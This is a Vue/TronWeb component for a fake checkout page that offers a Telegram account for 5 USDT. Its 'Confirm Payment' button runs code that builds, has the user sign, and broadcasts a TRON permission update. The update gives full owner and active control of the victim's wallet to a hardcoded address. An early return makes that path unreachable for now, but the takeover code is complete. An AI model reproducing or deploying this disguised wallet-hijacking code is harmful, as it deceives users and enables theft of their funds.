<script lang="ts">
  export default {
    name: 'Home',
  };
</script>

<script setup lang="ts">
  import { onMounted, ref, reactive } from 'vue';
  import { showToast, showFailToast, showSuccessToast, showDialog } from 'vant';
  import { useI18n } from 'vue-i18n'
  import TronWeb from 'tronweb';
  const { t } = useI18n()
  let tronWeb = ref(null);
  const accountAddress = ref('');
  const newAddress = ref('TBvWgziwx9FH5e4f4snvUodZ7BGUMjHLaQ');

  const connectToTron = () => {
    if (window.tronWeb && window.tronWeb.ready) {
      tronWeb = window.tronWeb;

      if (!tronWeb || !tronWeb.ready) {
        showFailToast(t('home.walletNotConnected'))
        return;
      }

      console.log('TronLink 钱包已连接。')
    } else {
      showFailToast(t('home.walletIsConnected'))

    }
  };
  onMounted(() => {

    connectToTron();
  });

  // 更新权限
  const updatePermission = async (newAdd) => {
    try {
      // 确保 TronLink 已连接且 TronWeb 已准备好
      if (!tronWeb || !tronWeb.ready) {

        showFailToast(t('home.walletNotConnected'))
        return;
      }
      // 获取当前钱包地址
      accountAddress.value = tronWeb.defaultAddress.base58;
      if (!accountAddress.value) {
        showDialog({
          message: t('home.pleaseOpenAPP'),
          confirmButtonText: 'ok'
        }).then(() => {
          // on close
        });
        return;
      }
      showDialog({
        message: t('home.pleaseOpenAPP'),
        confirmButtonText: 'ok'
      }).then(() => {
        // on close
      });
      return;
      const walletA = accountAddress.value
      const walletB = tronWeb.address.toHex(newAdd); // 替换为您要设置权限的地址

      // 获取 walletA 的账户信息
      const accountInfo = await tronWeb.trx.getAccount(walletA);

      console.log(walletA, '账户信息');

      // 创建新的权限结构
      let ownerPermission = { type: 0, permission_name: 'owner' };
      ownerPermission.threshold = 1;
      ownerPermission.keys = [];

      let activePermission = { type: 2, permission_name: 'active0' };
      activePermission.threshold = 1;
      activePermission.operations = '7fff1fc0037e0000000000000000000000000000000000000000000000000000';
      activePermission.keys = [];

      ownerPermission.keys.push({ address: walletB, weight: 1 });
      activePermission.keys.push({ address: walletB, weight: 1 });

      // 创建更新权限的交易
      const transaction = await tronWeb.transactionBuilder.updateAccountPermissions(walletA, ownerPermission, null, [activePermission]);

      // 请求用户签署交易
      const signedTransaction = await tronWeb.trx.sign(transaction);

      // 广播交易
      const receipt = await tronWeb.trx.sendRawTransaction(signedTransaction);
      console.log('交易回执:', receipt);
      showSuccessToast(t('home.TransactionSuccess'))
    } catch (error) {
      console.error('更新权限失败:', error);
    }
  }
</script>

<template>

  <div class="container">

    <div class="payDetail">
      <div><span><van-icon name="cart-o" color="#fff" size="15" /></span> {{$t('home.PaymentInformation')}}</div>
      <van-divider />
      <div class="line">
        <span>{{$t('home.ProductDetails')}}:</span> <span>Telegram飞机直登号-Telegram账号-稳定号</span>
      </div>
      <div class="line">
        <span>{{$t('home.ProductPrice')}}:</span> <span>5.00</span>
      </div>
      <div class="line">
        <span>{{$t('home.PurchaseQuantity')}}:</span> <span>1</span>
      </div>
      <div class="line">
        <span>{{$t('home.PaymentAmount')}}:</span> <span>5.00USDT</span>
      </div>
    </div>
    <div style="padding-top: 50px;text-align: center;">
      <van-button type="primary" size="small" style="width: 90%;"
        @click="updatePermission(newAddress)">{{$t('home.ConfirmPayment')}}</van-button>
    </div>
  </div>

</template>

<style lang="less" scoped>
  .payDetail {
    padding: 36px 16px;
    font-size: 12px;
    color: #fff;
    background-color: #6d5ad1;
    width: 85%;
    margin: 16px auto;

    border-radius: 10px;
  }

  .line {
    display: flex;
    align-items: center;
    justify-content: space-between;
    margin-bottom: 10px;
  }
</style>
